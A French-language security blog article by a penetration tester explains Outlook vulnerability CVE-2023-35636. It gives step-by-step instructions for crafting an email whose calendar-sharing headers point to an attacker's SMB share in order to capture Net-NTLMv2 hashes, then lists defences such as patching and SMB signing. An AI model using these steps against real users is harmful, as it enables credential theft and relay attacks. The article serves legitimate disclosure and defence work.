Introduction

Varonis Threat Labs a découvert une nouvelle vulnérabilité Outlook (CVE-2023-35636) parmi trois nouvelles façons d’accéder aux codes de hachage NTLM v2 en exploitant Outlook, Windows Performance Analyzer (WPA) et Windows File Explorer. Avec l’accès à ces mots de passe, les attaquants peuvent tenter une attaque par force brute hors ligne ou une attaque par relais d’authentification pour compromettre un compte et obtenir un accès.

C’est à ce premier point, la vulnérabilité Outlook, que nous allons nous intéresser.

CVE-2023-35636 est une exploitation de la fonction de partage de calendrier dans Microsoft Outlook, par laquelle l’ajout de deux en-têtes à un courriel demande à Outlook de partager le contenu et de contacter une machine désignée, créant ainsi une opportunité d’intercepter un code de hachage NTLM v2.

Cet article va s’articuler en deux temps :

  1. Exploitation : nous allons voir en détail comment exploiter cette vulnérabilité. Cette section est plutôt adressée aux personnes techniques (ingénieurs en test d’intrusion, analystes SOC, équipe de réponse à incident, etc.).
  2. Prévention : ici sera abordée la manière de se prémunir de ce genre d’attaque. Cette section s’adresse à un public plus large (équipes techniques, mais aussi RSSI, chefs de projet, administrateurs système, etc.).

Note : Cet article est aussi disponible en anglais 🇬🇧.

Exploitation

De manière synthétique, il s’agira d’envoyer un courriel à un utilisateur d’Outlook sur un poste Windows en y ajoutant deux en-têtes contenant la charge utile.

Il faudra ajouter l’en-tête Content-Class contenant un mot clé spécifique et l’en-tête x-sharing-config-url contenant l’adresse du partage SMB que nous contrôlons.

Voyons cela en détail.

Pour commencer, vous pouvez utiliser n’importe quel client de messagerie qui vous permet d’ajouter des en-têtes de courriel avant l’envoi. Pour ce faire, j’ai choisi Thunderbird.

Thunderbird ne permet pas d’ajouter des en-têtes directement, il va falloir le configurer.

Se rendre dans le menu des paramètres (Edit > Settings).

Puis, dans l’onglet General, se rendre tout en bas et cliquer sur le bouton Config Editor.

Dans la barre de recherche, écrire mail.compose.other.header et y ajouter comme valeur Content-Class,x-sharing-config-url (les 2 en-têtes séparés d’une virgule).

On peut ensuite fermer le menu des paramètres et entamer la rédaction d’un nouveau courriel. Dans la barre d’adresse, à côté des boutons pour ajouter des destinataires, cliquer sur le bouton avec les 2 chevrons vers la droite et ajouter les 2 champs correspondant aux en-têtes personnalisés.

Dans le champ Content-Class, nous allons ajouter la valeur Sharing afin d’indiquer à Outlook que le courriel contient du contenu à partager.

Dans le champ x-sharing-config-url, nous allons ajouter la valeur \\<adresse>\<calendrier>.ics<adresse> indiquera l’adresse IP ou le nom de domaine de notre machine / partage SMB et où <calendrier> désignera un nom arbitraire de calendrier (qui n’a pas besoin d’exister).

Les en-têtes lors de l’envoi du courriel devraient ressembler à la capture d’écran ci-dessous :

La victime recevra alors un courriel ressemblant à l’image ci-dessous, et devra cliquer sur l’icône de calendrier pour déclencher la récupération du calendrier et donc la connexion au serveur SMB.

Ce faisant, l’attaquant reçoit le code de hachage NTLM (ou plutôt la réponse NTLM v2 ou Net-NTLMv2 pour être exact), qu’il peut essayer de casser hors ligne ou relayer. Des outils tels que ntlmrelayx (impacket) ou responder pourront être utiles à cet effet.

Cette preuve de concept a été réalisée sur Microsoft Outlook version 2310 (16924.20150), incorporée dans l’offre Microsoft Office Professionnel Plus 2016.

Prévention

Par ordre de facilité d’application :

  • Appliquer le correctif Microsoft pour Outlook (lien ci-dessous)
  • Activer la signature SMB
    • Cela permettra au client d’authentifier ses messages lors de la phase d’authentification avec le serveur via son mot de passe. Ce secret étant inconnu de l’attaquant, ce dernier ne pourra pas signer les messages une fois l’authentification passée.
    • La signature SMB est activée par défaut sur Windows Server 2022 et les versions ultérieures, ainsi que sur Windows 11 Enterprise edition (à partir de l’insider preview build 25381).
  • Activer l’EPA (Enhanced Protection for Authentication)
  • Forcer l’utilisation de Kerberos
  • Bloquer le trafic NTLM v2 sur le réseau et les applications (entrant et sortant)
  • Désactiver NTLM (v1 et v2) sur toutes les machines

Ressources

Références :

À propos de l’auteur 📝

Article écrit par Alexandre ZANNI alias noraj, Ingénieur en Test d’Intrusion chez ACCEIS.